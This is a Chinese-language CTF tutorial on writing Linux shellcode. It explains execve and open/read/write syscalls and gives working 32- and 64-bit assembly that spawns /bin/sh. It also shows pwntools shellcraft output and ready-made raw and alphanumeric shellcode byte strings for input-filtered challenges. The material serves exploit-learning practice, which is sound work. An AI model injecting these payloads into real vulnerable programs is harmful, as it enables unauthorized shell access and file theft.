什么是shellcode

shellcode通常是软件漏洞利用过程中使用的一小段机器代码

作用:

1、启动shell进行交互

2、打开服务器端口等待连接

3、反向连接端口

4、。。。。

shellcode编写

我们在linux系统写编写一个最简短的c语言程序:

1
2
3
4
5
6
7
8
//gcc -m32 -o shell shell.c
#include<stdlib.h>
#include<unistd.h>

void main(){
system("/bin/sh");
exit(0);
}

很显然,这样做出来的程序太大了,在题目中我们一般只能输入几十个字节,其次他直接使用了系统函数,但是我们都不知道系统函数是啥(被包装成sytem@plt了):

我们可以通过中断的方法进行系统调用。

系统中断方法调用shellcode

触发中断(int 0x80或者syscall),进行系统调用

system(“/bin/sh”)底层调用的是execve(“/bin/sh”,0,0)

我们可以看execve函数分别对应的调用:

64位
NR System call %rax %rdi(arg0) %rsi(arg1) %rdx(arg2) %r10(arg3) %r8(arg4) %r9(arg5)
59 sys_execve 0x3b const char *filename const char *const argv[] const char* const envp[]
32位
NR System call %eax %ebx(arg0) %ecx(arg1) %edx(arg2) %esi(arg3) %edi(arg4) %ebp(arg5)
11 sys_execve 0x0b const char *filename const char *const argv[] const char* const envp[]

其中在syscall中,每一个寄存器都会有各自的参数作用,最后的int 0x80就是linux系统调用的中断,也就是使用这个终端,就会触发syscall(系统调用)

32位shellcode

因为execve(“/bin/sh”,0,0)如表格所示,所以我可以写一个不需要callsys也可以直接进入shell的shellcode,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
;;nasm -f elf32 shellcode32.asm
;;ld -m elf_i386 -o shellcode32 shellcode32.o
;;objdump -d shellcode32
global _start
_start:
push "/sh"
push "/bin"
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 0x0b
int 0x80

现在,我们得到一个非常小的shellcode,并且也没有使用系统函数。

因为是i386,也就是32位的程序,很显然我们可以看到这里对应32位的syscall各自的参数是如表格所示的。

64位shellcode

如此这般,我们可以构造一个64位的shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
;;nasm -f elf64 shellcode64.asm
;;ld -m elf_x86_64 -o shellcode64 shellcode64.o
;;objdump -d shellcode64
global _start
_start:
mov rbx, '/bin/sh' ; 把字符串"/bin/sh"的地址放到rbx寄存器
push rbx ; 将"/bin/sh"的地址压入栈
push rsp ; 把当前栈顶指针(指向"/bin/sh"地址)压入栈
pop rdi ; 从栈弹出数据到rdi,使rdi指向"/bin/sh"
xor rsi, rsi ; 清空rsi(argv参数设为0)
xor rdx, rdx ; 清空rdx(envp参数设为0)
push 0x3b ; 把系统调用号0x3b压入栈
pop rax ; 从栈弹出数据到rax,设置系统调用号
syscall ; 执行系统调用

在64位里面,相比于32位,首先是传参寄存器的名字有所更改,其中int 0x80变成了syscall

其中我们要记得一些常用的蠢货十六进制数,用于到时候用来查看或者学习:

十六进制数 含义 用法
0x68732f2f //sh plain mov ebx, 0x68732f2f ; 存储 "//sh"(双斜杠是为了对齐) push rbx ; 压入 "//sh"
0x6e69622f /bin plain mov ebx, 0x6e69622f ; 存储 "/bin" push rbx ; 压入 "/bin"
0x0068732f6e69622f /bin/sh

这边是用于对齐1byte,也就是8位,所以四个字符四个字符的输入(一个字符一byte,一个byte两个十六进制数,四个byte8个十六进制数)

如此这般,我的64位shellcode也可以写成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
;;nasm -f elf64 shellcode64_nostr.asm
;;ld -m elf_x86_64 -o shellcode64_nostr shellcode64_nostr.o
;;objdump -d shellcode64_nostr
global _start
_start:
mov rbx, 0x0068732f6e69622f ;其中00是\0的意思
push rbx
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall

很显然,我们现在倒是理解了这个最基础的内容,那么我们直接放到pwn里面岂不是还要当场构造汇编嘛?

完全不用,我们只需要熟悉pwntools就可以快速生成对应架构的shellcode了。

使用pwntool快速生成shellcode

使用pwntools快速生成对应架构的shellcode,总共两步:

1、设置架构目标 2、生成shellcode

#32位

1
2
3
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())

其中他的shellcode如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push 11 /* 0xb */
pop eax
int 0x80

#64位

1
2
3
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.sh())

其中它的shellcode如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall

这些方法生成的shellcode非常有用,在与他把0x00(也就是\0)(或者64位补0)的情况给消灭了。不会出一些奇怪的bug。

普通shellcode

了解完上面的东西之后,我们可以学一下这道题目:

64位经典shellcode:mrctf2020_shellcode

这道题目就是一个典型的64位系统的shellcode,输入完shellcode之后就可以直接进入终端。然后这里还有一个32位的

32位经典shellcode:ciscn_2019_s_9

ORW

有一种比较特殊的shellcode,就是这样的:shellcode1_dahuan02

这道题目是ORW,所谓ORW就是Open、Read、Write。

因为几乎所有的程序都需要打开文件,读取数据和输出。而有些题目会封锁systemcall里面的sys_execve。按照这个逻辑,我们可以通过ORW来读取所有我们需要的文件,如下:

这是一个非常基本的64位流程图,因为这些题目都会有一个特性:执行用户输入进去的内容。

然后在这里我们详细讲一下ORW的残割参数和里面是如何传递输出的。

首先我们先要学习一下这三个函数:

就拿32位的举例:

Num syscall %eax arg0 (%ebx) arg1 (%ecx) arg2 (%edx)
3 read 0x03 unsigned int fd char *buf size_t count
4 write 0x04 unsigned int fd const char *buf size_t count
5 open 0x05 const char *filename int flags umode_t mode

eax是调用这个syscall所需要的值,就像是sys_execve的里面的0x0b一样,是调用号。再然后,我们来讲这三个函数,先是open函数。

open函数

我们首先使用open函数打开文件,第一参数位文件名,第二参数为打开模式,第三参数为打开权限

其中第一参数文件名就不多赘述了,打开模式必选第二参数,大概如下:

O_RDONLY:只读模式(值为 0)。

O_WRONLY:只写模式(值为 1)。

O_RDWR:读写模式(值为 2)。

1
2
3
4
5
6
7
8
9
10
11
// 只读打开,若文件不存在则报错
open("file.txt", O_RDONLY);//read only的常数值为0

// 读写打开,若文件不存在则创建,权限为 0644(需第三参数)
open("file.txt", O_RDWR | O_CREAT, 777);//读写模式的常数值为2

// 只写打开,若文件存在则清空,不存在则创建
open("file.txt", O_WRONLY | O_CREAT | O_TRUNC, 777);

// 追加模式打开,若文件不存在则创建
open("log.txt", O_WRONLY | O_CREAT | O_APPEND, 777);

第三参数为打开权限,一般不用填写。

随后open会返回一个返回符号fd。

read函数

当我们使用完open之后,会得到一个返回值存储在eax里面,这个返回值一般被叫做_fd(文件调用符)_,fd的值会从0开始,作为一个等差数组一个一个往上加,例如0,1,2,3,4这样。

其中,每个程序一开始会自我定义三个fd,分别如下:

文件描述符 名称 含义 通常关联的设备
0 STDIN_FILENO 标准输入 键盘
1 STDOUT_FILENO 标准输出 终端屏幕
2 STDERR_FILENO 标准错误输出 终端屏幕(错误信息)

就像这样,所以一般我们用户开始使用程序的时候创建的fd都是从3开始的,不过最好就是调用完open函数后把eax或rax的值立刻放到read里面。而read的第一参数就是fd。fd里面有很多内容。

read的第二参数是缓冲区地址,也就是我们要要把读取的数据存在哪里。是的,read其实是用来将读取的内容送到缓冲区的一个函数。一开始的时候,我们获得了fd,其代表哪一个文件被我们授权打开了,上面说到fd有很多的内容,在应用层面就是一个数字,但是这个数字可以指向一堆系统层面的东西,比如说这个fd指向的文件的信息,大小等等。所以我们获得fd的时候,也就获得了对这个文件的使用权限,read函数也就知道了读取什么了。

然后我们把读取到的数据存到缓冲区地址。随后就是第三参数了:第三参数是读取的字节数量。也就是我要读取多少个数据。

read的返回值是成功读取的参数数量,也就是字符长度。

下面是Write函数:

write函数

他的三个参数和read函数差不多。

不过这里我们要注意,第一参数这里不是返回值,而是1,也就是标准输出。我们要将数据write到标准输出(终端屏幕)上。然后第二参数标注读取哪里的缓冲区的数据,读取第三参数的数量

shellcode变型

这是最后一种类型的shellcode,和mrctf2020_shellcode类似(在上面栏目的普通shellcode里面),限度如shellcode,再call rax执行shellcode。

他们的区别在,对输入的shellcode字符进行了过滤:只能输入特定的字符。

这边的例题是:mrctf2020_shellcode_revenge

然后偷了大欢老师那边的现成的shellcode:

1
2
3
4
5
6
7
8
9
10
11
#不可见版本
#32 位 短字节 shellcode -> 21 字节
b"#\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
#64 位 较短的 shellcode 23 字节
b"#\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

#可见版本
#x64 下的:
b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
#x32 下的:
b"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA"

也可以用工具生成:alpha3.py

还有一些比较特殊的shellcode,需要用XOR异或加密方法来构造,可以看笔记[NewStarCTF 2023 公开赛道]shell code revenge,算是有点难度。

总结

  1. 对于长度和字符没有限制的 shellcode,可以使用 pwntools 来生成或者搜索现成的 shellcode
  2. 长度有限制的 shellcode,可以对照系统调用表手写 shellcode
  3. 字符集有限制的 shellcode,可以使用 ALPHA3、msf 等工具对 shellcode 进行编码。或者根据限制的字符先生成可用的汇编指令再进行指令等价替换。